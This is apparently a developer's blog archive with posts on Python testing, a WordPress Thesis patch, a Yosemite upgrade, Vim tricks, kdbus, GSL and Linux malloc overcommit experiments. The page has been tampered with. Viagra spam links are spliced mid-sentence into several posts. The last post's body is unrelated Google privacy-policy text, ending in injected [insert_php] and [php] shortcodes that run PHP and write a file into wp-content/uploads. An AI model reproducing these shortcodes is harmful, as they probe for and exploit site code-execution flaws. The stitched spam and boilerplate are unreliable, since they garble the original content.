Python Unit-testing Notes

For awhile now, I’ve been meaning to write a tutorial on unit testing in Python aimed at experienced devs who already know why they should be doing it, and just need to know how to go about it in Python.  This document is as far as I got; it gives a passable overview of how I like to test Python code.  Unfortunately, the mock it presents is über-complex, so it’s not quite the document I wanted to write. But it’s a start, and better than nothing, I guess. :-]

I have a similar doc somewhere for unit-testing C++ code using google-test/google-mock that I’ll post if/when I can hunt it down…

 

UPDATE: I finally did write a Python testing tutorial for a presentation I gave to my colleagues last year.  I also put togther this post on testing Flask apps. Still haven’t managed to pull together my scattered notes on google-test yet, though… 🙁

Comments Not Displaying in WordPress 4.0 with Thesis 1.7

Sometime after upgrading to WordPress 4.0, I discovered that comments were no longer showing up on my blog. This is a Note To Self™ regarding what I did to fix it. This page described exactly the problem I was seeing, but I’m using an even older version of Thesis. Fortunately, the same fix worked, with one small change: I had to apply this tiny patch to the comments.php file the referenced page links to:

--- comments.php.orig	2014-12-17 11:50:39.000000000 -0500
+++ comments.php	2014-12-17 11:50:29.000000000 -0500
@@ -6,7 +6,7 @@
  * @since 1.7
  */
 class thesis_comments {
-	function output_comments($comments, $user_data, $depth = 3) {
+	function output_comments($comments, $user_data=null, $depth = 3) {
 		global $thesis_design;
 		$tab = str_repeat("\t", $depth);

This page warns, rather sternly, that you should upgrade first if using a Thesis version prior to 1.8.5, but… I really don’t have time for that right now. My (possibly egregious) hack seems to work well enough. Putting my slightly modified version of comments.php here for reference. (Note: the file that needs to be replaced is: wp-content/themes/thesis_17/lib/classes/comments.php. There’s another, different comments.php file somewhere in Thesis that I [apparently] didn’t have to touch.)

Apple’s Christmas present to me

Ermagherd!! I stupidly decided to update my MB Air to Yosemite yesterday and it broke everything I care about  (Qt Creator, Vim, VMWare Fusion, XCode and homebrew) while adding a bunch of annoying pfaff I’ll never use. (I can now sign PDF’s by scrawling on the trackpad? Seriously? ’Cause that looks awesome.) As a developer currently seeking work, this couldn’t have come at a worse time. I’ve just created a dozen hours of make-work for myself this weekend trying to put the toothpaste back in the tube so I can demo my work for prospective employers.

It’s my fault. I ought to know by now:  you can’t trust updates from Apple—or anyone else, for that matter—when time is short and there’s money on the line achat de viagra france. I would never update a Linux laptop that I needed for demos in the next couple of weeks. And though I’ve done so in the past for MS Windows laptops, even that was more plug-and-pray than plug-and-play. I guess I’d just bought too much into the ‘so-easy-my-great-grandma-can-use-it’ hype about OS X. Despite what anyone says, there’s really no reason to expect that updates of a development machine will go smoothly. Ever.

So… I shouldn’t be surprised. I’m the dummy here. I’m just really irritated that this ‘free’ upgrade is going to cost between $500 and $1,000 worth of my time before it’s even useable for development again. Grrrrrr….(NOTE:  I did make a backup before doing the update, but Time Machine is now acting squirrelly and I don’t trust it. It seems easier/safer to try updating all the broken components first…)

UPDATE 1: So, after all my whining/crying about it, fixing the damage turned out to be relatively straightforward. It did take a long time, but most of it was waiting for downloads to complete (XCode, in particular). I had to:

  • Upgrade to the latest version of VMWare Fusion
  • Update XCode
  • Reinstall Qt Creator
  • Reinstall homebrew
  • brew install a bunch of packages (including vim/macvim)

I probably didn’t need to reinstall homebrew, but I was pointing at a personal clone on github that was really out-of-date with the upstream, and there are only a dozen or so packages that I actually use/need on a regular basis, so I just decided to clean house and start fresh with a  direct checkout of the mainline. (This seems to be the preferred way to use homebrew now[?])

All-in-all, it took 8-10 hours to get everything working again, and most of that was spent reading e-Books on my Kindle while I waited for XCode to finish downloading. The only remaining problem is: for some reason, the system updater is still showing an available update for XCode 6.1.1, even though I already have it installed. This is annoying, but I can live with it for now…

UPDATE 2: I was finally able to download and apply the XCode ‘update’ (that was previously just hanging every time I tried it), and it downloaded 2.5 GB worth of stuff and ‘installed’ it. The XCode version didn’t change in any way that I could tell (I’m convinced the whole thing amounted to a lengthy no-op), but at least it got removed from the list of available updates. I’m now back to having a fully functional (and up-to-date) machine. 🙂

Stupid Vim Tricks Volume XXX

Some more esoteric Vim commands I’ve recently learned:

  • CTRL-Y duplicates the previous line, column-by-column
  • CTRL-E duplicates the next line, column-by-column
  • CTRL-A inserts again the previously-inserted text
  • CTRL-R= evaluates an expression typed by the user and inserts the result

I knew about the normal mode behavior of CTRL-Y and CTRL-E, but didn’t know they could be used to reinsert the previous/next lines character-by-character while in insert mode. These commands may not be that useful in actual practice, but could save a few keystrokes in repeated assignments to short variable names.  And they’re consistent enough with the normal mode behavior of moving up/down a line that I can probably remember them. I can see how using them while pair programming would help the other person more easily follow along, too, since it will look like I’m typing (really fast) instead of text instantaneously appearing.

The  CTRL-R= command is one I might actually use from time to time, since entering the result of an on-the-fly calculation is pretty common.

Two more commands that are, in essence, insert mode counterparts to their normal mode cousins are:

  • CTRL-T indents the current line without moving the insertion point (like >> in normal mode)
  • CTRL-D de-indents the current line without moving the insertion point (like << in normal mode)

If nothing else, these last two could be useful in VimGolf… 🙂

kdbus Update

I’ve written about this before (here and here), but the situation with respect to D-Bus latency has evolved quite a bit since then. The first and second salvoes of kdbus patches have been submitted, and it looks more and more likely that  D-Bus support will—in one form or another—make its way into the Linux kernel. Besides providing a fascinating window into the kernel development process, this turn of events makes things like the GENIVI Audio Manager seem a lot less speculative.

Time will tell whether or not this is a good thing. I’m neither a systemd hater nor a fanboi. I’m just trying to make sense of it all. Passing PCM data via D-Bus used to seem flat-out crazy to me, but… it looks like it may be not only be possible in the near future, but also efficient. Is it a game-changer, or the end of Linux as we know it? I have no idea, but I sure am having fun watching the kernel devs hash it out!

GSL for Code Generation—and more!

UPDATE: February 21st, 2014 — I happened across another solution to the same problem: pump.py achat viagra en europe. It also looks quite interesting, but may be intended for a narrower set of use cases…


I ran across the GSL project today and fell heavily in like.  I’m starting to get really interested in code generation as a master-level technique. All sorts of activities lend themselves to code generation, but the things I’m most interested in auto-generating at the moment are:

  • Unit and regression tests
  • Scripting language bindings
  • Message marshallers/demarshallers

GSL seems like it could be a great tool for all of this and more.  The czmq project provides some real-world examples of GSL in action, including auto-generation of CMake and Visual Studio project files. This utility is definitely something I plan to investigate—if I don’t drown in the deluge of boilerplate code and tests at work first. Sad smile

Another interesting thing I trolled from the iMatix github repos is gitdown, and (by proxy) ditaa.  Looks like a great way to leverage markdown on github pages to make truly useful and complete documentation right on a project’s front page. Nice…

Overcommit and OOM on Embedded Linux

We have a lot of code at work that checks the return value of malloc() for NULL, but I’ve come across a fair number of posts claiming that this is pointless on most Linux systems because the return value of malloc() is very often a lie (due to overcommit being enabled). This article explains the details, and provides three example programs intended to demonstrate the effect. On my desktop system, they fail differently (as the article claims they should). Here’s the last thing printed by each program:

  • demo1: malloc failure after 3056 MiB
  • demo2: malloc failure after 1629 MiB
  • demo3: malloc failure after 3056 MiB (last loop value printed before being killed = 1629)

This was run in a virtual Ubuntu 13.04 instance for which cat /proc/meminfo prints:

% cat /proc/meminfo 
MemTotal:        1026284 kB
MemFree:          813032 kB
Buffers:            2300 kB
Cached:            49732 kB
SwapCached:        46672 kB
Active:            15532 kB
Inactive:         122972 kB
Active(anon):      14856 kB
Inactive(anon):    74396 kB
Active(file):        676 kB
Inactive(file):    48576 kB
Unevictable:           0 kB
Mlocked:               0 kB
HighTotal:        135048 kB
HighFree:           1764 kB
LowTotal:         891236 kB
LowFree:          811268 kB
SwapTotal:       1046524 kB
SwapFree:         833304 kB
Dirty:                12 kB
Writeback:             0 kB
AnonPages:         54552 kB
Mapped:            17424 kB
Shmem:              2600 kB
Slab:              31004 kB
SReclaimable:      12984 kB
SUnreclaim:        18020 kB
KernelStack:        3216 kB
PageTables:         6332 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:     1559664 kB
Committed_AS:    1874248 kB
VmallocTotal:     122880 kB
VmallocUsed:       23508 kB
VmallocChunk:      97920 kB
HardwareCorrupted:     0 kB
AnonHugePages:         0 kB
HugePages_Total:       0
HugePages_Free:        0
HugePages_Rsvd:        0
HugePages_Surp:        0
Hugepagesize:       2048 kB
DirectMap4k:       30712 kB
DirectMap2M:      882688 kB

Also note that overcommit is set to zero:

% cat /proc/sys/vm/overcommit_memory 
0

There are conflicting reports about what this actually means, but I’m going to trust the article containing the demo programs, which claims that zero means: “guess about how much overcommitment is reasonable”, i.e., it implies that overcomit is enabled.

The article also states: “On a well-functioning system, like Solaris, the three demo programs obtain the same amount of memory and do not crash but see malloc() return NULL.” Okay, so now I have a dilemma. Am I to take this as proof that you can’t trust the return value of malloc()? How, then, should one deal with memory allocation failures? Is it reasonable to take the glib approach of terminating the application? And how does swap being enabled (or not) affect the situation?

The latter question is answerable. If I run:

sudo swapoff --all

and re-run the demo programs, the results are:

  • demo1: malloc failure after 3055 MiB
  • demo2: malloc failure after 610 MiB
  • demo3: malloc failure after 3055 MiB (last loop value printed before being killed = 610)

Interestingly: the second time—and all subsequent times—I tried to run either demo2 or demo3 with swap disabled, it killed my X session, just as the article suggested it might. It seems it was sort of a fluke that I was able to run it at all. (I’m guessing X allocates a lot of memory on startup that it later frees, so I was just lucky to have run the demos on a ‘quiescent’ system the first time.)

Should I conclude from this that it’s not actually possible to detect memory allocation failures in a robust way on desktop Linux systems? It would appear so. The third demo program never sees a malloc() failure, but it invokes the OOM killer nonetheless.  I’ve come across hints/anecdotes suggesting that there are other failure modes for malloc() that could return NULL instead of invoking the OOM killer (like if the virtual memory system becomes fragmented and can’t find a chunk of the requested size), but the bottom line seems to be: it is generally not possible to detect all memory allocation failures in Linux applications.  This makes the glib approach seem like it’s not too unreasonable—for desktop apps, at least.

Which brings me to embedded Linux. Is the situation with respect to memory allocation failures the same there? To find out, I ran the same demo programs on an i.MX6-based board (similar to the SABRE Lite) . Here are some details on the device:

# cat /proc/sys/vm/overcommit_memory 
0
# cat /proc/meminfo 
MemTotal:        1940720 kB
MemFree:         1856396 kB
Buffers:            6504 kB
Cached:            40496 kB
SwapCached:            0 kB
Active:            16580 kB
Inactive:          38584 kB
Active(anon):       8160 kB
Inactive(anon):       16 kB
Active(file):       8420 kB
Inactive(file):    38568 kB
Unevictable:           0 kB
Mlocked:               0 kB
HighTotal:        434176 kB
HighFree:         384204 kB
LowTotal:        1506544 kB
LowFree:         1472192 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                32 kB
Writeback:             0 kB
AnonPages:          8152 kB
Mapped:            11360 kB
Shmem:                24 kB
Slab:              11564 kB
SReclaimable:       5644 kB
SUnreclaim:         5920 kB
KernelStack:         896 kB
PageTables:         1056 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:      970360 kB
Committed_AS:      40160 kB
VmallocTotal:     196608 kB
VmallocUsed:        1908 kB
VmallocChunk:     191652 kB

Note that swap is disabled. Here are typical results of running the demo programs on this ARM system:

  • demo1: malloc failure after 1580 MiB
  • demo2: malloc failure after 1593 MiB
  • demo3: malloc failure after 1577 MiB  (last loop value printed before being killed = 1577)

The numbers printed in each run differ slightly, but they’re the same within a few tenths of a percent or so. What’s very consistent is the fact that demo3 is always killed at the point where the loop index matches the amount of memory at which malloc() failed. Thus, it appears that  our ARM development board is what the article’s author refers to as “a well-functioning system, like Solaris”.

Can I bank on malloc() always returning NULL on this ARM system? And if so, what, specifically, is it that makes this possible? Think I feel an SO post coming on…

UPDATE1: Posted this question to stackoverflow.com. No answers yet…

UPDATE2: For a goof, I tried running the demo programs in single user mode (implies swap=off) on my Linux VM to see whether this made a difference.  It did not. The results were:

  • demo1: malloc failure after 3056 MiB
  • demo2: malloc failure after 883 MiB
  • demo3: malloc failure after 3056 MiB (last loop value printed before being killed = 892)

This article helped me figure out how to coax my VMWare-based Ubuntu 13.04 instance into single user mode. Here’s a cheat sheet:

  1. Press and hold SHIFT while (re)booting until the GNU GRUB menu comes up
  2. Select Advanced Options for Ubuntu
  3. Select the (recovery mode) version of the latest kernel, e.g., something like: Ubuntu, with Linux 3.8.0-33-generic (recovery mode)
  4. After the recovery kernel boots, select Drop to root shell prompt
  5. Remount the root filesystem in read/write mode by typing: mount –o remount,rw /

So, bottom-line: the behavior with respect to malloc() did not change when I ran the demo programs as user root on a relatively ‘unloaded’ system—an environment that’s a bit more similar to our ARM target’s. The desktop system is still a big fat liar when it comes to the return value of malloc(). Why is the target (seemingly) better behaved?

Static analysis with clang/scan-build

When you use Google services, you trust us with your information doctissimo viagra en ligne. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]